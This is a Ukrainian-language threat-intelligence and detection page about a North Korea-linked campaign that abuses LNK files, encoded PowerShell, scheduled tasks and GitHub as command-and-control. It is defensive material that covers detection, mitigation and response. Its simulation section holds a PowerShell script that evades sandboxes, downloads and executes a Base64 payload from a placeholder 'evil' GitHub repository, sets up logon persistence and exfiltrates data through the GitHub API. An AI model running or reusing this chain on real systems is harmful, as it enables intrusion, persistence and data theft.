Кампанії, пов’язані з КНДР, з використанням LNK та GitHub C2
Detection stack
- AIDR
- Alert
- ETL
- Query
Резюме
Лабораторії FortiGuard повідомляють про кампанію, пов’язану з Північною Кореєю, яка використовує LNK файли-закладки для запуску закодованих етапів PowerShell, забезпечення стійкості через заплановані завдання та ексфільтрації даних через GitHub. Командний рядок LNK відповідає за логіку декодування, дозволяючи операторам використовувати вбудовані утиліти Windows і зменшити очевидні артефакти шкідливого програмного забезпечення. Діяльність націлена на організації в Південній Кореї та слідує багатоступеневому робочому процесу. Використовуючи легітимну публічну інфраструктуру, таку як GitHub, кампанія змішується з нормальним трафіком розробників і ускладнює мережеве блокування.
Розслідування
Аналітики задокументували ланцюг з трьох етапів: (1) LNK файли, що містять закодовані PowerShell в своїх аргументах, (2) етап PowerShell, що виконує перевірки на антианаліз, створює VBS-скрипт, створює приховане заплановане завдання та збирає деталі про систему, і (3) фінальний етап, який багаторазово завантажує додаткові модулі з репозиторію GitHub. Було зафіксовано кілька облікових записів GitHub, які підтримують робочий процес C2, включаючи жорстко закодовані токени доступу, що використовуються для завантаження даних через GitHub API. Оператори також використовували підроблені PDF-документи, щоб зробити приманку правдоподібнішою і зменшити підозри користувачів.
Пом’якшення
Блокуйте або обмежуйте виконання LNK файлів з недовірених джерел (завантажені з email, тимчасові папки, шляхи завантаження в профілі користувача). Моніторьте підозрілі шаблони виконання PowerShell та VBScript, особливо коли за ними слідує створення незвичних запланованих завдань. Де це можливо, обмежуйте або проксіруйте вихідний доступ до кінцевих точок GitHub API для систем, що не мають бізнес-необхідності, та сповіщайте про атипове використання GitHub API з хостів, які не є розробниками. Підсилюйте контролі застосування та виявлення EDR для позначення зловживань інструментами Windows, що використовуються для інсценізації, декодування та забезпечення стійкості.
Відповідь
Якщо виявлено, ізолюйте кінцеву точку та збережіть докази, зібравши LNK файл, визначення запланованого завдання та всі скинути скрипти. Видаліть заплановане завдання, відкличте будь-які виявлені токени доступу GitHub та проведіть повний пошук по хосту для виявлення пов’язаних артефактів та наступних модулів. Повідомте відповідних зацікавлених осіб, а потім оновіть вміст виявлення, щоб охопити зафіксовані поведінки та IOCs для підтримки ширшого полювання в середовищі.
"graph TB %% Класи визначень classDef action fill:#99ccff classDef tool fill:#ffcc99 classDef process fill:#ffef99 classDef malware fill:#ff9999 %% Ноди action_initial_access["<b>Дія</b> – <b>T1566.001 Фішинг: Атачка у вигляді списку</b><br/>Доставка шкідливого .lnk, замаскованого під корейський PDF"] class action_initial_access action tool_lnk["<b>Інструмент</b> – <b>Назва</b>: .lnk Закладка<br/><b>Техніка</b>: T1547.009 Модифікація закладок"] class tool_lnk tool action_execution_lnk["<b>Дія</b> – <b>T1547.009 Виконання при завантаженні або вході: Модифікація закладок</b><br/>Закладка запускає PowerShell"] class action_execution_lnk action tool_powershell["<b>Інструмент</b> – <b>Назва</b>: PowerShell<br/><b>Техніка</b>: T1059.001 Командний інтерпретатор”. class tool_powershell tool action_obfuscation["<b>Дія</b> – <b>Техніки обфускації</b><br/>T1027.012 Замаскування іконок, T1027.008 Стрип-пейлоадс, T1027.009 Вбудовані пейлоадс"] class action_obfuscation action action_sandbox_evasion["<b>Дія</b> – <b>T1497.002 Уникнення віртуалізації/тестових середовищ</b><br/>Перевірка аналітичних інструментів і аборти"] class action_sandbox_evasion action action_decode_payload["<b>Дія</b> – <b>T1059.001 PowerShell</b><br/>Декодування Base64/XOR, запис VBScript в %Temp%"] class action_decode_payload action tool_vbscript["<b>Інструмент</b> – <b>Назва</b>: VBScript<br/>Записує скрипт в %Temp%"] class tool_vbscript tool tool_scheduled_task["<b>Інструмент</b> – <b>Назва</b>: Заплановане завдання<br/><b>Техніка</b>: T1037 Сценарії ініціалізації при завантаженні або вході"] class tool_scheduled_task tool action_persistence["<b>Дія</b> – <b>Устійливість</b><br/>Запускає VBScript кожні 30 хвилин"] class action_persistence action action_discovery["<b>Дія</b> – <b>Відкриття</b><br/>T1082 Відкриття системної інформації, T1057 Відкриття процесів"] class action_discovery action action_c2["<b>Дія</b> – <b>Управління та контроль</b><br/>T1567.001 Ексфільтрація на GitHub, T1102.002 Двосторонній веб-сервіс, T1538 Панель керування хмарним сервісом"] class action_c2 action tool_github["<b>Інструмент</b> – <b>Назва</b>: GitHub API<br/>Використовується для ексфільтрації та отримання модулів"] class tool_github tool %% Зв’язки action_initial_access –>|доставляє| tool_lnk tool_lnk –>|спрацьовує| action_execution_lnk action_execution_lnk –>|використовує| tool_powershell tool_powershell –>|виконує| action_obfuscation action_obfuscation –>|призводить до| action_sandbox_evasion action_sandbox_evasion –>|продовжує до| action_decode_payload action_decode_payload –>|записує| tool_vbscript tool_vbscript –>|створює| tool_scheduled_task tool_scheduled_task –>|вмикає| action_persistence action_persistence –>|збирає дані для| action_discovery action_discovery –>|відправляє дані до| action_c2 action_c2 –>|використовує| tool_github "
Потік атаки
Виявлення
Можливі індикатори обфускації Powershell (через powershell)
Перегляд
Можливе завантаження файлів Github, ініційоване незвичним процесом (через network_connection)
Перегляд
Підозрілі рядки Powershell (через powershell)
Перегляд
Завантаження або вивантаження через Powershell (через cmdline)
Перегляд
Можливість виконання через приховані командні рядки PowerShell (через cmdline)
Перегляд
Можливий зловмисний LNK файл з подвійним розширенням (через cmdline)
Перегляд
Можливі перевірки уникнення (через powershell)
Перегляд
Підозрілі рядки Powershell (через cmdline)
Перегляд
Можливе створення запланованого завдання (через powershell)
Перегляд
IOCs (HashSha256) для виявлення: Кампанії, пов’язані з Північною Кореєю, з LNK та GitHub C2
Перегляд
PowerShell скрипт, що отримує дані з GitHub для стійкості і ексфільтрації даних [Windows Powershell]
Перегляд
Виконання моделювання
Вимога: Телеметрія та попередня перевірка базового рівня повинні пройти.
Обґрунтування: Цей розділ деталізує точне виконання техніки противника (TTP), розробленої для спрацьовування правила виявлення. Команди та наратив МАЮТЬ безпосередньо відображати ідентифіковані TTP та прагнути до генерації точної телеметрії, очікуваної логікою виявлення.
-
Наратив атаки та команди:
Супротивник скомпрометував обліковий запис користувача з низькими привілеями на робочій станції Windows. Для збереження стійкості та прихованої ексфільтрації даних, вони створюють однорядковий PowerShell, який:- Перевіряє наявність загальних процесів інструментів аналізу (
vmxnet,vboxservice,idaq,fiddler,wireshark). Якщо будь-який з них виявлено, скрипт припиняє виконання. - Завантажує закодоване в Base64 навантаження з публічного репозиторію GitHub (
https://raw.githubusercontent.com/evil/loot/main/payload.b64). - Декодує навантаження в пам’яті та виконує його.
- Реєструє заплановане завдання через
New‑ScheduledTaskActionщоб повторно виконувати цей самий PowerShell на кожному завантаженні (стійкість). - Відправляє вкрадені дані назад до репозиторію GitHub через GitHub API (
api.github.com).
Усі кроки об’єднані за допомогою крапки з комою, забезпечуючи, що весь командний рядок містить необхідні рядки для правила Sigma.
- Перевіряє наявність загальних процесів інструментів аналізу (
-
Сценарій регресійного тестування:
# ------------------------------------------------- # Однорядковий, який задовольняє всім умовам Sigma # ------------------------------------------------- $envChecks = "vmxnet","vboxservice","idaq","fiddler","wireshark" foreach($c in $envChecks){ if (Get-Process -Name $c -ErrorAction SilentlyContinue){ exit } } $b64 = Invoke-RestMethod -Uri "https://raw.githubusercontent.com/evil/loot/main/payload.b64" $bytes = [System.Convert]::FromBase64String($b64) $decoded = [System.Text.Encoding]::UTF8.GetString($bytes) IEX $decoded $action = New-ScheduledTaskAction -Execute "powershell.exe" -Argument "-NoProfile -WindowStyle Hidden -Command `"& {<INSERT SAME ONE‑Liner HERE>}`"" $trigger = New-ScheduledTaskTrigger -AtLogon Register-ScheduledTask -TaskName "SysUpdate" -Action $action -Trigger $trigger -RunLevel Highest -Force # Ексфільтрація зразка даних $data = "SensitiveInfo" $json = @{content=$data} | ConvertTo-Json Invoke-RestMethod -Method Post -Uri "https://api.github.com/repos/evil/collector/contents/data.txt" -Body $json -Headers @{Authorization="token <PAT>"}Заметка: Замінити
<INSERT SAME ONE‑Liner HERE>на цей самий однорядковий (рекурсивний) або зберегти його в змінній, щоб уникнути дублювання. Скрипт навмисно багатослівний, щоб ілюструвати кожен крок; в реальній кампанії супротивник буде компресувати його далі. -
Команди очищення:
# Видаліть заплановане завдання Unregister-ScheduledTask -TaskName "SysUpdate" -Confirm:$false # Видаліть будь-які тимчасові файли (якщо вони були створені) Remove-Item -Path "$env:TEMPpayload.b64" -ErrorAction SilentlyContinue # Опційно завершіть шкідливий процес в пам'яті (якщо він ще виконується) Get-Process -Name "powershell" | Where-Object {$_.StartInfo.Arguments -match "evil"} | Stop-Process -Force